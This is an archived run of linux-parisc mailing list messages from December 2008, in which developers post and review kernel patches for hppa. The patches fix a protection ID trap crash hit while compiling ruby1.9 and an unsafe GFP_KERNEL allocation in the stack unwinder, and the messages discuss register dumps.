List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:957
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/957>

This is a multi-part message in MIME format.
--------------080903030906080404000306
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

The Debian bugzilla has a long thread about kernel crashes when
compiling ruby1.9 on hppa. This kernel bug led even to discussions if
hppa should be dropped for lenny.
See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=478717 for details.

It's really easy to reproduce the bug, and it generates this backtrace
(interestingly two backtraces):

     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
miniruby (pid 15221): Protection id trap (code 27)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  0004000f 102a9800 101a141c 8210c388
r04-07  00000000 0020fd08 0020fd10 00000001
r08-11  00000000 8210c388 fffffff2 8210c0c8
r12-15  fb0d04c8 402cc3d8 00001000 40007000
r16-19  002120a0 00000010 0020fd90 00000001
r20-23  8210c000 00000000 0020fd0e 8210c39e
r24-27  00000000 00000001 8e7c5660 105e7a90
r28-31  0000000f 00190834 8210c500 101a12b8
sr00-03  00000000 00000000 00000000 00000847
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101a147c 101a1480
 IIR: 0ed5d240    ISR: 00000847  IOR: 0020fd0e
 CPU:        0   CR30: 8210c000 CR31: d22344f0
 ORIG_R28: 00001000
 IAOQ[0]: do_sys_poll+0x1ac/0x1b8
 IAOQ[1]: do_sys_poll+0x1b0/0x1b8
 RP(r2): do_sys_poll+0x14c/0x1b8
Backtrace:
 [<101a1574>] sys_poll+0x84/0xec
 [<10114078>] syscall_exit+0x0/0x28

Backtrace:
 [<1010fdb8>] die_if_kernel+0xe8/0x1ac
 [<10110584>] handle_interruption+0x2fc/0x598
 [<10113078>] intr_check_sig+0x0/0x34


The bug (sometimes but not always!) happens in fs/select.c:do_sys_poll()
when calling __put_user() and writing back fds[0].revents to userspace.
What I quite don't understand yet is, why does copy_from_user() [called
a few lines above the __put_user()] succeeds, and __put_user() sometimes
suddenly fails with a protection id fault.

The attached patch simply adds the lookup for a fixup handler when trap
#27 (protection id trap) happens in kernel space. This was missing in
the code path for trap #27 which is why the kernel then called
die_if_kernel() and crashed.

Even with this patch ruby1.9 may fail to compile, but at least the
kernel crashes are gone.

Any feedback welcome.

Helge

Signed-off-by: Helge Deller <deller@gmx.de>


--------------080903030906080404000306
Content-Type: text/x-patch;
 name="data_protection_id_failure.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="data_protection_id_failure.diff"

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 4c771cd..70eabfe 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -43,6 +43,8 @@
 
 #include "../math-emu/math-emu.h"	/* for handle_fpe() */
 
+DECLARE_PER_CPU(struct exception_data, exception_data);
+
 #define PRINT_USER_FAULTS /* (turn this on if you want user faults to be */
 			  /*  dumped to the console via printk)          */
 
@@ -745,6 +747,41 @@ void handle_interruption(int code, struct pt_regs *regs)
 		/* Fall Through */
 	case 27: 
 		/* Data memory protection ID trap */
+		if (code == 27 && !user_mode(regs)) {
+			const struct exception_table_entry *fix;
+
+			/* mostly copied from:
+ 			   arch/parisc/mm/fault.c:do_page_fault()
+			 */
+			fix = search_exception_tables(regs->iaoq[0]);
+			printk(KERN_CRIT "BUG: Kernel Data memory protection ID"
+				" trap at %p (%pS), fix=%p\n",
+				(void*)regs->iaoq[0], (void*)regs->iaoq[0], fix);
+			if (fix) {
+				struct exception_data *d;
+
+				d = &__get_cpu_var(exception_data);
+				d->fault_ip = regs->iaoq[0];
+				d->fault_space = regs->isr;
+				d->fault_addr = regs->ior;
+
+				regs->iaoq[0] = ((fix->fixup) & ~3);
+
+				/*
+				 * NOTE: In some cases the faulting instruction
+				 * may be in the delay slot of a branch. We
+				 * don't want to take the branch, so we don't
+				 * increment iaoq[1], instead we set it to be
+				 * iaoq[0]+4, and clear the B bit in the PSW
+				 */
+
+				regs->iaoq[1] = regs->iaoq[0] + 4;
+				regs->gr[0] &= ~PSW_B; /* IPSW in gr[0] */
+
+				return;
+			}
+		}
+
 		die_if_kernel("Protection id trap", regs, code);
 		si.si_code = SEGV_MAPERR;
 		si.si_signo = SIGSEGV;

--------------080903030906080404000306--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix BUG: sleeping function called from invalid context at
 mm/slab.c:3044
Date: Wed, 17 Dec 2008 23:57:34 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <494983DE.2050105@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------090306010406000602030706"
X-Trace: ger.gmane.org 1229554686 3801 80.91.229.12 (17 Dec 2008 22:58:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Dec 2008 22:58:06 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 17 23:59:11 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LD5Lw-0005Qi-5U
	for glpp-linux-parisc@gmane.org; Wed, 17 Dec 2008 23:58:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752092AbYLQW5i (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 17:57:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752154AbYLQW5h
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 17:57:37 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:54049 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752092AbYLQW5h (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 17:57:37 -0500
Original-Received: (qmail invoked by alias); 17 Dec 2008 22:57:34 -0000
Original-Received: from mnhm-590e01af.pool.einsundeins.de (EHLO halden.box) [89.14.1.175]
  by mail.gmx.net (mp011) with SMTP; 17 Dec 2008 23:57:34 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX187SOti1Ws72D9SfsVPnTE5MA1z/GT1/RZ59+r4bN
	O5Q2rFjFb4noSS
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.52
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:958
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/958>

This is a multi-part message in MIME format.
--------------090306010406000602030706
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Since unwind_frame_init_from_blocked_task() may be called from
interrupt/in_atomic context, it needs to kmalloc() memory with
GFP_ATOMIC instead of GFP_KERNEL.

This fixes this warning (ShowTasks called from sysrq handler):

BUG: sleeping function called from invalid context at mm/slab.c:3044
in_atomic(): 1, irqs_disabled(): 1, pid: 2119, name: miniruby
Backtrace:
 [<10132e78>] __might_sleep+0x4c/0x118
 [<1018f644>] kmem_cache_alloc+0x2c/0xb4
 [<1011bae0>] unwind_frame_init_from_blocked_task+0x30/0xa0
 [<1010fd3c>] parisc_show_stack+0x3c/0xac
 [<10132c7c>] show_state_filter+0x80/0xd8
 [<102f4074>] __handle_sysrq+0xd0/0x1b0
 [<102f9558>] receive_chars+0x22c/0x318
 [<102f9940>] serial8250_handle_port+0x40/0x88
 [<102f9a8c>] serial8250_interrupt+0x104/0x10c
 [<10161920>] handle_IRQ_event+0x44/0x94
 [<10161acc>] __do_IRQ+0x15c/0x1dc
 [<102c442c>] superio_interrupt+0x74/0xa8
 [<10161920>] handle_IRQ_event+0x44/0x94
 [<10161acc>] __do_IRQ+0x15c/0x1dc
 [<10110fb4>] do_cpu_irq_mask+0x90/0xbc
 [<10114068>] intr_return+0x0/0x4

Signed-off-by: Helge Deller <deller@gmx.de>

--------------090306010406000602030706
Content-Type: text/x-patch;
 name="invalid_context_fix.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="invalid_context_fix.patch"

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 6773c58..69dad5a 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -372,7 +372,7 @@ void unwind_frame_init_from_blocked_task(struct unwind_frame_info *info, struct
 	struct pt_regs *r = &t->thread.regs;
 	struct pt_regs *r2;
 
-	r2 = kmalloc(sizeof(struct pt_regs), GFP_KERNEL);
+	r2 = kmalloc(sizeof(struct pt_regs), GFP_ATOMIC);
 	if (!r2)
 		return;
 	*r2 = *r;

--------------090306010406000602030706--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Wed, 17 Dec 2008 23:40:33 GMT
Lines: 41
Approved: news@gmane.org
Message-ID: <200812172340.mBHNeXX6002020@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1229557247 11782 80.91.229.12 (17 Dec 2008 23:40:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Dec 2008 23:40:47 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 00:41:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LD61X-0004dd-89
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 00:41:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752224AbYLQXkg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 18:40:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752256AbYLQXkg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 18:40:36 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:48489 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752224AbYLQXkf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 18:40:35 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX18DVpoiO+h6LfouRr/Oo6PFznfEPhdI4GI@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id mBHNeXSR002021
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Wed, 17 Dec 2008 23:40:33 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id mBHNeXX6002020
	for linux-parisc@vger.kernel.org; Wed, 17 Dec 2008 23:40:33 GMT
X-Virus-Scanned: ClamAV 0.93.3/8777/Wed Dec 17 17:36:59 2008 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Wed, 17 Dec 2008 23:40:35 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:959
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/959>

New commits:
commit 933cc210f48a36e559fe1aeefb56040b8c59ff0a
Author: Helge Deller <deller@gmx.de>
Date:   Wed Dec 17 23:57:34 2008 +0100

    parisc: fix GFP_KERNEL use while atomic in unwinder
    
    Since unwind_frame_init_from_blocked_task() may be called from
    interrupt/in_atomic context, it needs to kmalloc() memory with
    GFP_ATOMIC instead of GFP_KERNEL.
    
    This fixes this warning (ShowTasks called from sysrq handler):
    
    BUG: sleeping function called from invalid context at mm/slab.c:3044
    in_atomic(): 1, irqs_disabled(): 1, pid: 2119, name: miniruby
    Backtrace:
     [<10132e78>] __might_sleep+0x4c/0x118
     [<1018f644>] kmem_cache_alloc+0x2c/0xb4
     [<1011bae0>] unwind_frame_init_from_blocked_task+0x30/0xa0
     [<1010fd3c>] parisc_show_stack+0x3c/0xac
     [<10132c7c>] show_state_filter+0x80/0xd8
     [<102f4074>] __handle_sysrq+0xd0/0x1b0
     [<102f9558>] receive_chars+0x22c/0x318
     [<102f9940>] serial8250_handle_port+0x40/0x88
     [<102f9a8c>] serial8250_interrupt+0x104/0x10c
     [<10161920>] handle_IRQ_event+0x44/0x94
     [<10161acc>] __do_IRQ+0x15c/0x1dc
     [<102c442c>] superio_interrupt+0x74/0xa8
     [<10161920>] handle_IRQ_event+0x44/0x94
     [<10161acc>] __do_IRQ+0x15c/0x1dc
     [<10110fb4>] do_cpu_irq_mask+0x90/0xbc
     [<10114068>] intr_return+0x0/0x4
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix BUG: sleeping function called from invalid context
	at mm/slab.c:3044
Date: Wed, 17 Dec 2008 18:41:24 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20081217234124.GA30438@bombadil.infradead.org>
References: <494983DE.2050105@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229557302 11932 80.91.229.12 (17 Dec 2008 23:41:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Dec 2008 23:41:42 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 00:42:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LD62L-0004tg-2O
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 00:42:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752242AbYLQXl0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 18:41:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752224AbYLQXl0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 18:41:26 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41397 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752191AbYLQXlZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 18:41:25 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LD616-0003Ls-Lb; Wed, 17 Dec 2008 23:41:24 +0000
Content-Disposition: inline
In-Reply-To: <494983DE.2050105@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:960
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/960>

On Wed, Dec 17, 2008 at 11:57:34PM +0100, Helge Deller wrote:
> Since unwind_frame_init_from_blocked_task() may be called from
> interrupt/in_atomic context, it needs to kmalloc() memory with
> GFP_ATOMIC instead of GFP_KERNEL.
> 

that's right, it used to just allocate r2 but i introduced this bug when
i killed some stack heavy things a while back.

applied, kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when compiling
Date: Wed, 17 Dec 2008 19:05:26 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <20081218000527.7F4144EE7@hiauly1.hia.nrc.ca>
References: <4949812D.7080608@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229558740 15984 80.91.229.12 (18 Dec 2008 00:05:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 00:05:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 01:06:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LD6Pc-0004BO-30
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 01:06:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751346AbYLRAF3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 19:05:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751843AbYLRAF3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 19:05:29 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2465 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751346AbYLRAF2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 19:05:28 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7F4144EE7; Wed, 17 Dec 2008 19:05:27 -0500 (EST)
In-Reply-To: <4949812D.7080608@gmx.de> from "Helge Deller" at Dec 17, 2008 11:46:05 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:961
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/961>

> r20-23  8210c000 00000000 0020fd0e 8210c39e
> r24-27  00000000 00000001 8e7c5660 105e7a90
> r28-31  0000000f 00190834 8210c500 101a12b8
> sr00-03  00000000 00000000 00000000 00000847
> sr04-07  00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 101a147c 101a1480
>  IIR: 0ed5d240    ISR: 00000847  IOR: 0020fd0e
>  CPU:        0   CR30: 8210c000 CR31: d22344f0
>  ORIG_R28: 00001000
>  IAOQ[0]: do_sys_poll+0x1ac/0x1b8
>  IAOQ[1]: do_sys_poll+0x1b0/0x1b8
>  RP(r2): do_sys_poll+0x14c/0x1b8

The faulting instruction is:

dave@hiauly6:~/opt/gnu/bin$ disasm 0x0ed5d240
   0:	0e d5 d2 40 	sth r21,0(sr3,r22)

r22 is 0.  r22 being 0 is a bit wierd as revents has on offset of 6.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
	compiling
Date: Wed, 17 Dec 2008 19:43:29 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20081218004329.GB30438@bombadil.infradead.org>
References: <4949812D.7080608@gmx.de> <20081218000527.7F4144EE7@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229561020 22282 80.91.229.12 (18 Dec 2008 00:43:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 00:43:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 01:44:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LD70R-0006nj-Jt
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 01:44:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751712AbYLRAnd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 19:43:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752558AbYLRAnd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 19:43:33 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51045 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751712AbYLRAnc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 19:43:32 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LD6zB-0004y2-V2; Thu, 18 Dec 2008 00:43:29 +0000
Content-Disposition: inline
In-Reply-To: <20081218000527.7F4144EE7@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:962
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/962>

On Wed, Dec 17, 2008 at 07:05:26PM -0500, John David Anglin wrote:
> > r20-23  8210c000 00000000 0020fd0e 8210c39e
> > r24-27  00000000 00000001 8e7c5660 105e7a90
> > r28-31  0000000f 00190834 8210c500 101a12b8
> > sr00-03  00000000 00000000 00000000 00000847
> > sr04-07  00000000 00000000 00000000 00000000
> > 
> > IASQ: 00000000 00000000 IAOQ: 101a147c 101a1480
> >  IIR: 0ed5d240    ISR: 00000847  IOR: 0020fd0e
> >  CPU:        0   CR30: 8210c000 CR31: d22344f0
> >  ORIG_R28: 00001000
> >  IAOQ[0]: do_sys_poll+0x1ac/0x1b8
> >  IAOQ[1]: do_sys_poll+0x1b0/0x1b8
> >  RP(r2): do_sys_poll+0x14c/0x1b8
> 
> The faulting instruction is:
> 
> dave@hiauly6:~/opt/gnu/bin$ disasm 0x0ed5d240
>    0:	0e d5 d2 40 	sth r21,0(sr3,r22)
> 
> r22 is 0.  r22 being 0 is a bit wierd as revents has on offset of 6.
> 

Eh? r22 is 0020fd0e... although it's easier to spot by looking at IOR
> >  IIR: 0ed5d240    ISR: 00000847  IOR: 0020fd0e

Weird.

Although, I don't think we're supposed to ever be taking a P. Id trap on
a userspace process as the kernel...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when compiling ruby1.9
Date: Wed, 17 Dec 2008 20:46:30 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <119aab440812171746x5c3ec853x87b7f4a6ca12dba@mail.gmail.com>
References: <4949812D.7080608@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229564807 31680 80.91.229.12 (18 Dec 2008 01:46:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 01:46:47 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 02:47:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LD7zP-0007Lb-GV
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 02:47:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753296AbYLRBqd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 20:46:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753366AbYLRBqd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 20:46:33 -0500
Original-Received: from rn-out-0910.google.com ([64.233.170.187]:31920 "EHLO
	rn-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752977AbYLRBqc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 20:46:32 -0500
Original-Received: by rn-out-0910.google.com with SMTP id k40so180258rnd.17
        for <linux-parisc@vger.kernel.org>; Wed, 17 Dec 2008 17:46:30 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=2P1t6PLt4DUtIeXH0uiEFdwNYLnIDyUfO0bXzz1kczw=;
        b=Sm68O3VcIBIkvHuDOWfDeFOkVYSETqUl51vlV3PN22EiTXauuGkJl+aIA24njew4RB
         rFEhvC5l+4CQEzW2glUc0peKx6xn1MHd5prEsUv0TrUVlbBEAoKVEVerqHbyNP+4m1gb
         vO1WhWrfPa3YDxNlUf1FUmn88vfZVUEiWmuZE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=tu72hE6xkgIbqV5WMXpMkF7fymRxz/1X3WkUcG0M9VxkAn7auWwmTp1lCNE7Yh94r2
